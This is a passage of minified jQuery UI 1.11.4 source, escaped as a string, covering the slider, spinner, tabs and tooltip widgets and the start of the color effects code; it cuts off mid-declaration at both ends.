2*Math.abs(i)>=t&&(s+=i>0?t:-t),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var e=this.options.max,t=this._valueMin(),i=this.options.step,s=Math.floor(+(e-t).toFixed(this._precision())/i)*i;e=s+t,this.max=parseFloat(e.toFixed(this._precision()))},_precision:function(){var e=this._precisionOf(this.options.step);return null!==this.options.min&&(e=Math.max(e,this._precisionOf(this.options.min))),e},_precisionOf:function(e){var t=\"\"+e,i=t.indexOf(\".\");return-1===i?0:t.length-i-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshValue:function(){var t,i,s,n,o,a=this.options.range,r=this.options,h=this,l=this._animateOff?!1:r.animate,u={};this.options.values&&this.options.values.length?this.handles.each(function(s){i=100*((h.values(s)-h._valueMin())/(h._valueMax()-h._valueMin())),u[\"horizontal\"===h.orientation?\"left\":\"bottom\"]=i+\"%\",e(this).stop(1,1)[l?\"animate\":\"css\"](u,r.animate),h.options.range===!0&&(\"horizontal\"===h.orientation?(0===s&&h.range.stop(1,1)[l?\"animate\":\"css\"]({left:i+\"%\"},r.animate),1===s&&h.range[l?\"animate\":\"css\"]({width:i-t+\"%\"},{queue:!1,duration:r.animate})):(0===s&&h.range.stop(1,1)[l?\"animate\":\"css\"]({bottom:i+\"%\"},r.animate),1===s&&h.range[l?\"animate\":\"css\"]({height:i-t+\"%\"},{queue:!1,duration:r.animate}))),t=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,u[\"horizontal\"===this.orientation?\"left\":\"bottom\"]=i+\"%\",this.handle.stop(1,1)[l?\"animate\":\"css\"](u,r.animate),\"min\"===a&&\"horizontal\"===this.orientation&&this.range.stop(1,1)[l?\"animate\":\"css\"]({width:i+\"%\"},r.animate),\"max\"===a&&\"horizontal\"===this.orientation&&this.range[l?\"animate\":\"css\"]({width:100-i+\"%\"},{queue:!1,duration:r.animate}),\"min\"===a&&\"vertical\"===this.orientation&&this.range.stop(1,1)[l?\"animate\":\"css\"]({height:i+\"%\"},r.animate),\"max\"===a&&\"vertical\"===this.orientation&&this.range[l?\"animate\":\"css\"]({height:100-i+\"%\"},{queue:!1,duration:r.animate}))},_handleEvents:{keydown:function(t){var i,s,n,o,a=e(t.target).data(\"ui-slider-handle-index\");switch(t.keyCode){case e.ui.keyCode.HOME:case e.ui.keyCode.END:case e.ui.keyCode.PAGE_UP:case e.ui.keyCode.PAGE_DOWN:case e.ui.keyCode.UP:case e.ui.keyCode.RIGHT:case e.ui.keyCode.DOWN:case e.ui.keyCode.LEFT:if(t.preventDefault(),!this._keySliding&&(this._keySliding=!0,e(t.target).addClass(\"ui-state-active\"),i=this._start(t,a),i===!1))return}switch(o=this.options.step,s=n=this.options.values&&this.options.values.length?this.values(a):this.value(),t.keyCode){case e.ui.keyCode.HOME:n=this._valueMin();break;case e.ui.keyCode.END:n=this._valueMax();break;case e.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case e.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case e.ui.keyCode.UP:case e.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+o);break;case e.ui.keyCode.DOWN:case e.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-o)}this._slide(t,a,n)},keyup:function(t){var i=e(t.target).data(\"ui-slider-handle-index\");this._keySliding&&(this._keySliding=!1,this._stop(t,i),this._change(t,i),e(t.target).removeClass(\"ui-state-active\"))}}}),e.widget(\"ui.spinner\",{version:\"1.11.4\",defaultElement:\"<input>\",widgetEventPrefix:\"spin\",options:{culture:null,icons:{down:\"ui-icon-triangle-1-s\",up:\"ui-icon-triangle-1-n\"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption(\"max\",this.options.max),this._setOption(\"min\",this.options.min),this._setOption(\"step\",this.options.step),\"\"!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr(\"autocomplete\")}})},_getCreateOptions:function(){var t={},i=this.element;return e.each([\"min\",\"max\",\"step\"],function(e,s){var n=i.attr(s);void 0!==n&&n.length&&(t[s]=n)}),t},_events:{keydown:function(e){this._start(e)&&this._keydown(e)&&e.preventDefault()},keyup:\"_stop\",focus:function(){this.previous=this.element.val()},blur:function(e){return this.cancelBlur?(delete this.cancelBlur,void 0):(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger(\"change\",e),void 0)},mousewheel:function(e,t){if(t){if(!this.spinning&&!this._start(e))return!1;this._spin((t>0?1:-1)*this.options.step,e),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(e)},100),e.preventDefault()}},\"mousedown .ui-spinner-button\":function(t){function i(){var e=this.element[0]===this.document[0].activeElement;e||(this.element.focus(),this.previous=s,this._delay(function(){this.previous=s}))}var s;s=this.element[0]===this.document[0].activeElement?this.previous:this.element.val(),t.preventDefault(),i.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,i.call(this)}),this._start(t)!==!1&&this._repeat(null,e(t.currentTarget).hasClass(\"ui-spinner-up\")?1:-1,t)},\"mouseup .ui-spinner-button\":\"_stop\",\"mouseenter .ui-spinner-button\":function(t){return e(t.currentTarget).hasClass(\"ui-state-active\")?this._start(t)===!1?!1:(this._repeat(null,e(t.currentTarget).hasClass(\"ui-spinner-up\")?1:-1,t),void 0):void 0},\"mouseleave .ui-spinner-button\":\"_stop\"},_draw:function(){var e=this.uiSpinner=this.element.addClass(\"ui-spinner-input\").attr(\"autocomplete\",\"off\").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml());this.element.attr(\"role\",\"spinbutton\"),this.buttons=e.find(\".ui-spinner-button\").attr(\"tabIndex\",-1).button().removeClass(\"ui-corner-all\"),this.buttons.height()>Math.ceil(.5*e.height())&&e.height()>0&&e.height(e.height()),this.options.disabled&&this.disable()\r\n},_keydown:function(t){var i=this.options,s=e.ui.keyCode;switch(t.keyCode){case s.UP:return this._repeat(null,1,t),!0;case s.DOWN:return this._repeat(null,-1,t),!0;case s.PAGE_UP:return this._repeat(null,i.page,t),!0;case s.PAGE_DOWN:return this._repeat(null,-i.page,t),!0}return!1},_uiSpinnerHtml:function(){return\"<span class='ui-spinner ui-widget ui-widget-content ui-corner-all'></span>\"},_buttonHtml:function(){return\"<a class='ui-spinner-button ui-spinner-up ui-corner-tr'><span class='ui-icon \"+this.options.icons.up+\"'>&#9650;</span>\"+\"</a>\"+\"<a class='ui-spinner-button ui-spinner-down ui-corner-br'>\"+\"<span class='ui-icon \"+this.options.icons.down+\"'>&#9660;</span>\"+\"</a>\"},_start:function(e){return this.spinning||this._trigger(\"start\",e)!==!1?(this.counter||(this.counter=1),this.spinning=!0,!0):!1},_repeat:function(e,t,i){e=e||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,t,i)},e),this._spin(t*this.options.step,i)},_spin:function(e,t){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+e*this._increment(this.counter)),this.spinning&&this._trigger(\"spin\",t,{value:i})===!1||(this._value(i),this.counter++)},_increment:function(t){var i=this.options.incremental;return i?e.isFunction(i)?i(t):Math.floor(t*t*t/5e4-t*t/500+17*t/200+1):1},_precision:function(){var e=this._precisionOf(this.options.step);return null!==this.options.min&&(e=Math.max(e,this._precisionOf(this.options.min))),e},_precisionOf:function(e){var t=\"\"+e,i=t.indexOf(\".\");return-1===i?0:t.length-i-1},_adjustValue:function(e){var t,i,s=this.options;return t=null!==s.min?s.min:0,i=e-t,i=Math.round(i/s.step)*s.step,e=t+i,e=parseFloat(e.toFixed(this._precision())),null!==s.max&&e>s.max?s.max:null!==s.min&&s.min>e?s.min:e},_stop:function(e){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger(\"stop\",e))},_setOption:function(e,t){if(\"culture\"===e||\"numberFormat\"===e){var i=this._parse(this.element.val());return this.options[e]=t,this.element.val(this._format(i)),void 0}(\"max\"===e||\"min\"===e||\"step\"===e)&&\"string\"==typeof t&&(t=this._parse(t)),\"icons\"===e&&(this.buttons.first().find(\".ui-icon\").removeClass(this.options.icons.up).addClass(t.up),this.buttons.last().find(\".ui-icon\").removeClass(this.options.icons.down).addClass(t.down)),this._super(e,t),\"disabled\"===e&&(this.widget().toggleClass(\"ui-state-disabled\",!!t),this.element.prop(\"disabled\",!!t),this.buttons.button(t?\"disable\":\"enable\"))},_setOptions:h(function(e){this._super(e)}),_parse:function(e){return\"string\"==typeof e&&\"\"!==e&&(e=window.Globalize&&this.options.numberFormat?Globalize.parseFloat(e,10,this.options.culture):+e),\"\"===e||isNaN(e)?null:e},_format:function(e){return\"\"===e?\"\":window.Globalize&&this.options.numberFormat?Globalize.format(e,this.options.numberFormat,this.options.culture):e},_refresh:function(){this.element.attr({\"aria-valuemin\":this.options.min,\"aria-valuemax\":this.options.max,\"aria-valuenow\":this._parse(this.element.val())})},isValid:function(){var e=this.value();return null===e?!1:e===this._adjustValue(e)},_value:function(e,t){var i;\"\"!==e&&(i=this._parse(e),null!==i&&(t||(i=this._adjustValue(i)),e=this._format(i))),this.element.val(e),this._refresh()},_destroy:function(){this.element.removeClass(\"ui-spinner-input\").prop(\"disabled\",!1).removeAttr(\"autocomplete\").removeAttr(\"role\").removeAttr(\"aria-valuemin\").removeAttr(\"aria-valuemax\").removeAttr(\"aria-valuenow\"),this.uiSpinner.replaceWith(this.element)},stepUp:h(function(e){this._stepUp(e)}),_stepUp:function(e){this._start()&&(this._spin((e||1)*this.options.step),this._stop())},stepDown:h(function(e){this._stepDown(e)}),_stepDown:function(e){this._start()&&(this._spin((e||1)*-this.options.step),this._stop())},pageUp:h(function(e){this._stepUp((e||1)*this.options.page)}),pageDown:h(function(e){this._stepDown((e||1)*this.options.page)}),value:function(e){return arguments.length?(h(this._value).call(this,e),void 0):this._parse(this.element.val())},widget:function(){return this.uiSpinner}}),e.widget(\"ui.tabs\",{version:\"1.11.4\",delay:300,options:{active:null,collapsible:!1,event:\"click\",heightStyle:\"content\",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:function(){var e=/#.*$/;return function(t){var i,s;t=t.cloneNode(!1),i=t.href.replace(e,\"\"),s=location.href.replace(e,\"\");try{i=decodeURIComponent(i)}catch(n){}try{s=decodeURIComponent(s)}catch(n){}return t.hash.length>1&&i===s}}(),_create:function(){var t=this,i=this.options;this.running=!1,this.element.addClass(\"ui-tabs ui-widget ui-widget-content ui-corner-all\").toggleClass(\"ui-tabs-collapsible\",i.collapsible),this._processTabs(),i.active=this._initialActive(),e.isArray(i.disabled)&&(i.disabled=e.unique(i.disabled.concat(e.map(this.tabs.filter(\".ui-state-disabled\"),function(e){return t.tabs.index(e)}))).sort()),this.active=this.options.active!==!1&&this.anchors.length?this._findActive(i.active):e(),this._refresh(),this.active.length&&this.load(i.active)},_initialActive:function(){var t=this.options.active,i=this.options.collapsible,s=location.hash.substring(1);return null===t&&(s&&this.tabs.each(function(i,n){return e(n).attr(\"aria-controls\")===s?(t=i,!1):void 0}),null===t&&(t=this.tabs.index(this.tabs.filter(\".ui-tabs-active\"))),(null===t||-1===t)&&(t=this.tabs.length?0:!1)),t!==!1&&(t=this.tabs.index(this.tabs.eq(t)),-1===t&&(t=i?!1:0)),!i&&t===!1&&this.anchors.length&&(t=0),t},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):e()}},_tabKeydown:function(t){var i=e(this.document[0].activeElement).closest(\"li\"),s=this.tabs.index(i),n=!0;if(!this._handlePageNav(t)){switch(t.keyCode){case e.ui.keyCode.RIGHT:case e.ui.keyCode.DOWN:s++;break;case e.ui.keyCode.UP:case e.ui.keyCode.LEFT:n=!1,s--;break;case e.ui.keyCode.END:s=this.anchors.length-1;break;case e.ui.keyCode.HOME:s=0;break;case e.ui.keyCode.SPACE:return t.preventDefault(),clearTimeout(this.activating),this._activate(s),void 0;case e.ui.keyCode.ENTER:return t.preventDefault(),clearTimeout(this.activating),this._activate(s===this.options.active?!1:s),void 0;default:return}t.preventDefault(),clearTimeout(this.activating),s=this._focusNextTab(s,n),t.ctrlKey||t.metaKey||(i.attr(\"aria-selected\",\"false\"),this.tabs.eq(s).attr(\"aria-selected\",\"true\"),this.activating=this._delay(function(){this.option(\"active\",s)},this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===e.ui.keyCode.UP&&(t.preventDefault(),this.active.focus())},_handlePageNav:function(t){return t.altKey&&t.keyCode===e.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):t.altKey&&t.keyCode===e.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(t,i){function s(){return t>n&&(t=0),0>t&&(t=n),t}for(var n=this.tabs.length-1;-1!==e.inArray(s(),this.options.disabled);)t=i?t+1:t-1;return t},_focusNextTab:function(e,t){return e=this._findNextTab(e,t),this.tabs.eq(e).focus(),e},_setOption:function(e,t){return\"active\"===e?(this._activate(t),void 0):\"disabled\"===e?(this._setupDisabled(t),void 0):(this._super(e,t),\"collapsible\"===e&&(this.element.toggleClass(\"ui-tabs-collapsible\",t),t||this.options.active!==!1||this._activate(0)),\"event\"===e&&this._setupEvents(t),\"heightStyle\"===e&&this._setupHeightStyle(t),void 0)},_sanitizeSelector:function(e){return e?e.replace(/[!\"$%&'()*+,.\\/:;<=>?@\\[\\]\\^`{|}~]/g,\"\\\\$&\"):\"\"},refresh:function(){var t=this.options,i=this.tablist.children(\":has(a[href])\");t.disabled=e.map(i.filter(\".ui-state-disabled\"),function(e){return i.index(e)}),this._processTabs(),t.active!==!1&&this.anchors.length?this.active.length&&!e.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=e()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=e()),this._refresh()},_refresh:function(){this._setupDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({\"aria-selected\":\"false\",\"aria-expanded\":\"false\",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({\"aria-hidden\":\"true\"}),this.active.length?(this.active.addClass(\"ui-tabs-active ui-state-active\").attr({\"aria-selected\":\"true\",\"aria-expanded\":\"true\",tabIndex:0}),this._getPanelForTab(this.active).show().attr({\"aria-hidden\":\"false\"})):this.tabs.eq(0).attr(\"tabIndex\",0)},_processTabs:function(){var t=this,i=this.tabs,s=this.anchors,n=this.panels;this.tablist=this._getList().addClass(\"ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all\").attr(\"role\",\"tablist\").delegate(\"> li\",\"mousedown\"+this.eventNamespace,function(t){e(this).is(\".ui-state-disabled\")&&t.preventDefault()}).delegate(\".ui-tabs-anchor\",\"focus\"+this.eventNamespace,function(){e(this).closest(\"li\").is(\".ui-state-disabled\")&&this.blur()}),this.tabs=this.tablist.find(\"> li:has(a[href])\").addClass(\"ui-state-default ui-corner-top\").attr({role:\"tab\",tabIndex:-1}),this.anchors=this.tabs.map(function(){return e(\"a\",this)[0]}).addClass(\"ui-tabs-anchor\").attr({role:\"presentation\",tabIndex:-1}),this.panels=e(),this.anchors.each(function(i,s){var n,o,a,r=e(s).uniqueId().attr(\"id\"),h=e(s).closest(\"li\"),l=h.attr(\"aria-controls\");t._isLocal(s)?(n=s.hash,a=n.substring(1),o=t.element.find(t._sanitizeSelector(n))):(a=h.attr(\"aria-controls\")||e({}).uniqueId()[0].id,n=\"#\"+a,o=t.element.find(n),o.length||(o=t._createPanel(a),o.insertAfter(t.panels[i-1]||t.tablist)),o.attr(\"aria-live\",\"polite\")),o.length&&(t.panels=t.panels.add(o)),l&&h.data(\"ui-tabs-aria-controls\",l),h.attr({\"aria-controls\":a,\"aria-labelledby\":r}),o.attr(\"aria-labelledby\",r)}),this.panels.addClass(\"ui-tabs-panel ui-widget-content ui-corner-bottom\").attr(\"role\",\"tabpanel\"),i&&(this._off(i.not(this.tabs)),this._off(s.not(this.anchors)),this._off(n.not(this.panels)))},_getList:function(){return this.tablist||this.element.find(\"ol,ul\").eq(0)},_createPanel:function(t){return e(\"<div>\").attr(\"id\",t).addClass(\"ui-tabs-panel ui-widget-content ui-corner-bottom\").data(\"ui-tabs-destroy\",!0)},_setupDisabled:function(t){e.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1);for(var i,s=0;i=this.tabs[s];s++)t===!0||-1!==e.inArray(s,t)?e(i).addClass(\"ui-state-disabled\").attr(\"aria-disabled\",\"true\"):e(i).removeClass(\"ui-state-disabled\").removeAttr(\"aria-disabled\");this.options.disabled=t},_setupEvents:function(t){var i={};t&&e.each(t.split(\" \"),function(e,t){i[t]=\"_eventHandler\"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(e){e.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:\"_tabKeydown\"}),this._on(this.panels,{keydown:\"_panelKeydown\"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,s=this.element.parent();\"fill\"===t?(i=s.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(\":visible\").each(function(){var t=e(this),s=t.css(\"position\");\"absolute\"!==s&&\"fixed\"!==s&&(i-=t.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=e(this).outerHeight(!0)}),this.panels.each(function(){e(this).height(Math.max(0,i-e(this).innerHeight()+e(this).height()))}).css(\"overflow\",\"auto\")):\"auto\"===t&&(i=0,this.panels.each(function(){i=Math.max(i,e(this).height(\"\").height())}).height(i))},_eventHandler:function(t){var i=this.options,s=this.active,n=e(t.currentTarget),o=n.closest(\"li\"),a=o[0]===s[0],r=a&&i.collapsible,h=r?e():this._getPanelForTab(o),l=s.length?this._getPanelForTab(s):e(),u={oldTab:s,oldPanel:l,newTab:r?e():o,newPanel:h};t.preventDefault(),o.hasClass(\"ui-state-disabled\")||o.hasClass(\"ui-tabs-loading\")||this.running||a&&!i.collapsible||this._trigger(\"beforeActivate\",t,u)===!1||(i.active=r?!1:this.tabs.index(o),this.active=a?e():o,this.xhr&&this.xhr.abort(),l.length||h.length||e.error(\"jQuery UI Tabs: Mismatching fragment identifier.\"),h.length&&this.load(this.tabs.index(o),t),this._toggle(t,u))},_toggle:function(t,i){function s(){o.running=!1,o._trigger(\"activate\",t,i)}function n(){i.newTab.closest(\"li\").addClass(\"ui-tabs-active ui-state-active\"),a.length&&o.options.show?o._show(a,o.options.show,s):(a.show(),s())}var o=this,a=i.newPanel,r=i.oldPanel;this.running=!0,r.length&&this.options.hide?this._hide(r,this.options.hide,function(){i.oldTab.closest(\"li\").removeClass(\"ui-tabs-active ui-state-active\"),n()}):(i.oldTab.closest(\"li\").removeClass(\"ui-tabs-active ui-state-active\"),r.hide(),n()),r.attr(\"aria-hidden\",\"true\"),i.oldTab.attr({\"aria-selected\":\"false\",\"aria-expanded\":\"false\"}),a.length&&r.length?i.oldTab.attr(\"tabIndex\",-1):a.length&&this.tabs.filter(function(){return 0===e(this).attr(\"tabIndex\")}).attr(\"tabIndex\",-1),a.attr(\"aria-hidden\",\"false\"),i.newTab.attr({\"aria-selected\":\"true\",\"aria-expanded\":\"true\",tabIndex:0})},_activate:function(t){var i,s=this._findActive(t);s[0]!==this.active[0]&&(s.length||(s=this.active),i=s.find(\".ui-tabs-anchor\")[0],this._eventHandler({target:i,currentTarget:i,preventDefault:e.noop}))},_findActive:function(t){return t===!1?e():this.tabs.eq(t)},_getIndex:function(e){return\"string\"==typeof e&&(e=this.anchors.index(this.anchors.filter(\"[href$='\"+e+\"']\"))),e},_destroy:function(){this.xhr&&this.xhr.abort(),this.element.removeClass(\"ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible\"),this.tablist.removeClass(\"ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all\").removeAttr(\"role\"),this.anchors.removeClass(\"ui-tabs-anchor\").removeAttr(\"role\").removeAttr(\"tabIndex\").removeUniqueId(),this.tablist.unbind(this.eventNamespace),this.tabs.add(this.panels).each(function(){e.data(this,\"ui-tabs-destroy\")?e(this).remove():e(this).removeClass(\"ui-state-default ui-state-active ui-state-disabled ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel\").removeAttr(\"tabIndex\").removeAttr(\"aria-live\").removeAttr(\"aria-busy\").removeAttr(\"aria-selected\").removeAttr(\"aria-labelledby\").removeAttr(\"aria-hidden\").removeAttr(\"aria-expanded\").removeAttr(\"role\")}),this.tabs.each(function(){var t=e(this),i=t.data(\"ui-tabs-aria-controls\");i?t.attr(\"aria-controls\",i).removeData(\"ui-tabs-aria-controls\"):t.removeAttr(\"aria-controls\")}),this.panels.show(),\"content\"!==this.options.heightStyle&&this.panels.css(\"height\",\"\")},enable:function(t){var i=this.options.disabled;i!==!1&&(void 0===t?i=!1:(t=this._getIndex(t),i=e.isArray(i)?e.map(i,function(e){return e!==t?e:null}):e.map(this.tabs,function(e,i){return i!==t?i:null})),this._setupDisabled(i))},disable:function(t){var i=this.options.disabled;if(i!==!0){if(void 0===t)i=!0;else{if(t=this._getIndex(t),-1!==e.inArray(t,i))return;i=e.isArray(i)?e.merge([t],i).sort():[t]}this._setupDisabled(i)}},load:function(t,i){t=this._getIndex(t);var s=this,n=this.tabs.eq(t),o=n.find(\".ui-tabs-anchor\"),a=this._getPanelForTab(n),r={tab:n,panel:a},h=function(e,t){\"abort\"===t&&s.panels.stop(!1,!0),n.removeClass(\"ui-tabs-loading\"),a.removeAttr(\"aria-busy\"),e===s.xhr&&delete s.xhr};this._isLocal(o[0])||(this.xhr=e.ajax(this._ajaxSettings(o,i,r)),this.xhr&&\"canceled\"!==this.xhr.statusText&&(n.addClass(\"ui-tabs-loading\"),a.attr(\"aria-busy\",\"true\"),this.xhr.done(function(e,t,n){setTimeout(function(){a.html(e),s._trigger(\"load\",i,r),h(n,t)},1)}).fail(function(e,t){setTimeout(function(){h(e,t)},1)})))},_ajaxSettings:function(t,i,s){var n=this;return{url:t.attr(\"href\"),beforeSend:function(t,o){return n._trigger(\"beforeLoad\",i,e.extend({jqXHR:t,ajaxSettings:o},s))}}},_getPanelForTab:function(t){var i=e(t).attr(\"aria-controls\");return this.element.find(this._sanitizeSelector(\"#\"+i))}}),e.widget(\"ui.tooltip\",{version:\"1.11.4\",options:{content:function(){var t=e(this).attr(\"title\")||\"\";return e(\"<a>\").text(t).html()},hide:!0,items:\"[title]:not([disabled])\",position:{my:\"left top+15\",at:\"left bottom\",collision:\"flipfit flip\"},show:!0,tooltipClass:null,track:!1,close:null,open:null},_addDescribedBy:function(t,i){var s=(t.attr(\"aria-describedby\")||\"\").split(/\\s+/);s.push(i),t.data(\"ui-tooltip-id\",i).attr(\"aria-describedby\",e.trim(s.join(\" \")))},_removeDescribedBy:function(t){var i=t.data(\"ui-tooltip-id\"),s=(t.attr(\"aria-describedby\")||\"\").split(/\\s+/),n=e.inArray(i,s);-1!==n&&s.splice(n,1),t.removeData(\"ui-tooltip-id\"),s=e.trim(s.join(\" \")),s?t.attr(\"aria-describedby\",s):t.removeAttr(\"aria-describedby\")},_create:function(){this._on({mouseover:\"open\",focusin:\"open\"}),this.tooltips={},this.parents={},this.options.disabled&&this._disable(),this.liveRegion=e(\"<div>\").attr({role:\"log\",\"aria-live\":\"assertive\",\"aria-relevant\":\"additions\"}).addClass(\"ui-helper-hidden-accessible\").appendTo(this.document[0].body)},_setOption:function(t,i){var s=this;return\"disabled\"===t?(this[i?\"_disable\":\"_enable\"](),this.options[t]=i,void 0):(this._super(t,i),\"content\"===t&&e.each(this.tooltips,function(e,t){s._updateContent(t.element)}),void 0)},_disable:function(){var t=this;e.each(this.tooltips,function(i,s){var n=e.Event(\"blur\");n.target=n.currentTarget=s.element[0],t.close(n,!0)}),this.element.find(this.options.items).addBack().each(function(){var t=e(this);t.is(\"[title]\")&&t.data(\"ui-tooltip-title\",t.attr(\"title\")).removeAttr(\"title\")})},_enable:function(){this.element.find(this.options.items).addBack().each(function(){var t=e(this);t.data(\"ui-tooltip-title\")&&t.attr(\"title\",t.data(\"ui-tooltip-title\"))})},open:function(t){var i=this,s=e(t?t.target:this.element).closest(this.options.items);s.length&&!s.data(\"ui-tooltip-id\")&&(s.attr(\"title\")&&s.data(\"ui-tooltip-title\",s.attr(\"title\")),s.data(\"ui-tooltip-open\",!0),t&&\"mouseover\"===t.type&&s.parents().each(function(){var t,s=e(this);s.data(\"ui-tooltip-open\")&&(t=e.Event(\"blur\"),t.target=t.currentTarget=this,i.close(t,!0)),s.attr(\"title\")&&(s.uniqueId(),i.parents[this.id]={element:this,title:s.attr(\"title\")},s.attr(\"title\",\"\"))}),this._registerCloseHandlers(t,s),this._updateContent(s,t))},_updateContent:function(e,t){var i,s=this.options.content,n=this,o=t?t.type:null;return\"string\"==typeof s?this._open(t,e,s):(i=s.call(e[0],function(i){n._delay(function(){e.data(\"ui-tooltip-open\")&&(t&&(t.type=o),this._open(t,e,i))})}),i&&this._open(t,e,i),void 0)},_open:function(t,i,s){function n(e){l.of=e,a.is(\":hidden\")||a.position(l)}var o,a,r,h,l=e.extend({},this.options.position);if(s){if(o=this._find(i))return o.tooltip.find(\".ui-tooltip-content\").html(s),void 0;i.is(\"[title]\")&&(t&&\"mouseover\"===t.type?i.attr(\"title\",\"\"):i.removeAttr(\"title\")),o=this._tooltip(i),a=o.tooltip,this._addDescribedBy(i,a.attr(\"id\")),a.find(\".ui-tooltip-content\").html(s),this.liveRegion.children().hide(),s.clone?(h=s.clone(),h.removeAttr(\"id\").find(\"[id]\").removeAttr(\"id\")):h=s,e(\"<div>\").html(h).appendTo(this.liveRegion),this.options.track&&t&&/^mouse/.test(t.type)?(this._on(this.document,{mousemove:n}),n(t)):a.position(e.extend({of:i},this.options.position)),a.hide(),this._show(a,this.options.show),this.options.show&&this.options.show.delay&&(r=this.delayedShow=setInterval(function(){a.is(\":visible\")&&(n(l.of),clearInterval(r))},e.fx.interval)),this._trigger(\"open\",t,{tooltip:a})}},_registerCloseHandlers:function(t,i){var s={keyup:function(t){if(t.keyCode===e.ui.keyCode.ESCAPE){var s=e.Event(t);s.currentTarget=i[0],this.close(s,!0)}}};i[0]!==this.element[0]&&(s.remove=function(){this._removeTooltip(this._find(i).tooltip)}),t&&\"mouseover\"!==t.type||(s.mouseleave=\"close\"),t&&\"focusin\"!==t.type||(s.focusout=\"close\"),this._on(!0,i,s)},close:function(t){var i,s=this,n=e(t?t.currentTarget:this.element),o=this._find(n);return o?(i=o.tooltip,o.closing||(clearInterval(this.delayedShow),n.data(\"ui-tooltip-title\")&&!n.attr(\"title\")&&n.attr(\"title\",n.data(\"ui-tooltip-title\")),this._removeDescribedBy(n),o.hiding=!0,i.stop(!0),this._hide(i,this.options.hide,function(){s._removeTooltip(e(this))}),n.removeData(\"ui-tooltip-open\"),this._off(n,\"mouseleave focusout keyup\"),n[0]!==this.element[0]&&this._off(n,\"remove\"),this._off(this.document,\"mousemove\"),t&&\"mouseleave\"===t.type&&e.each(this.parents,function(t,i){e(i.element).attr(\"title\",i.title),delete s.parents[t]}),o.closing=!0,this._trigger(\"close\",t,{tooltip:i}),o.hiding||(o.closing=!1)),void 0):(n.removeData(\"ui-tooltip-open\"),void 0)},_tooltip:function(t){var i=e(\"<div>\").attr(\"role\",\"tooltip\").addClass(\"ui-tooltip ui-widget ui-corner-all ui-widget-content \"+(this.options.tooltipClass||\"\")),s=i.uniqueId().attr(\"id\");return e(\"<div>\").addClass(\"ui-tooltip-content\").appendTo(i),i.appendTo(this.document[0].body),this.tooltips[s]={element:t,tooltip:i}},_find:function(e){var t=e.data(\"ui-tooltip-id\");return t?this.tooltips[t]:null},_removeTooltip:function(e){e.remove(),delete this.tooltips[e.attr(\"id\")]},_destroy:function(){var t=this;e.each(this.tooltips,function(i,s){var n=e.Event(\"blur\"),o=s.element;n.target=n.currentTarget=o[0],t.close(n,!0),e(\"#\"+i).remove(),o.data(\"ui-tooltip-title\")&&(o.attr(\"title\")||o.attr(\"title\",o.data(\"ui-tooltip-title\")),o.removeData(\"ui-tooltip-title\"))}),this.liveRegion.remove()}});var _=\"ui-effects-\",b=e;e.effects={effect:{}},function(e,t){function i(e,t,i){var s=c[t.type]||{};return null==e?i||!t.def?null:t.def:(e=s.floor?~~e:parseFloat(e),isNaN(e)?t.def:s.mod?(e+s.mod)%s.mod:0>e?0:e>s.max?s.max:e)}function s(i){var s=l(),n=s._rgba=[];return i=i.toLowerCase(),f(h,function(e,o){var a,r=o.re.exec(i),h=r&&o.parse(r),l=o.space||\"rgba\";return h?(a=s[l](h),s[u[l].cache]=a[u[l].cache],n=s._rgba=a._rgba,!1):t}),n.length?(\"0,0,0,0\"===n.join()&&e.extend(n,o.transparent),s):o[i]}function n(e,t,i){return i=(i+1)%1,1>6*i?e+6*(t-e)*i:1>2*i?t:2>3*i?e+6*(t-e)*(2/3-i):e}var o,a=\"backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor 